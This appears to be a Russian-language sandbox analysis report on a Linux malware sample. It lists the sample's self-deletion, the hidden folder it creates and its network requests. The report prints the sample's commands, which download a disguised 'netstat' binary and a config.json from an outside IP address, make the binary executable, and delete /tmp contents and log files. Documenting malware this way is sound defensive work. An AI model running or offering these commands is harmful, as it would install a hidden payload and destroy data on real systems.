Техническая информация
Вредоносные функции:
Самоудаляется
Запускает процессы:
- mkdir /tmp/.hax/
- rm -rf /tmp/*
- rm -rf <SAMPLE_FULL_PATH> /root/run.sh /root/stdout.log
- sh -c cd /tmp/.hax/; wget http://51.158.102.106/z -O - > /tmp/.hax/netstat; chmod 777 /tmp/.hax/netstat
- wget http://51.158.102.106/z -O -
- chmod 777 /tmp/.hax/netstat
- sh -c cd /tmp/.hax/; wget http://51.158.102.106/config.json
- wget http://51.158.102.106/config.json
Выполняет операции с файловой системой:
Модифицирует права доступа к файлам:
- /tmp/.hax/netstat
Создает папки:
- /tmp/.hax
Создает или модифицирует файлы:
- /tmp/.hax/netstat
- /root/stdout.log (deleted)
- /tmp/.hax/config.json
Удаляет файлы:
- /tmp/*
- /root/run.sh
Сетевая активность:
HTTP GET-запросы:
- 51.###.102.106/z
- 51.###.#02.106/config.json
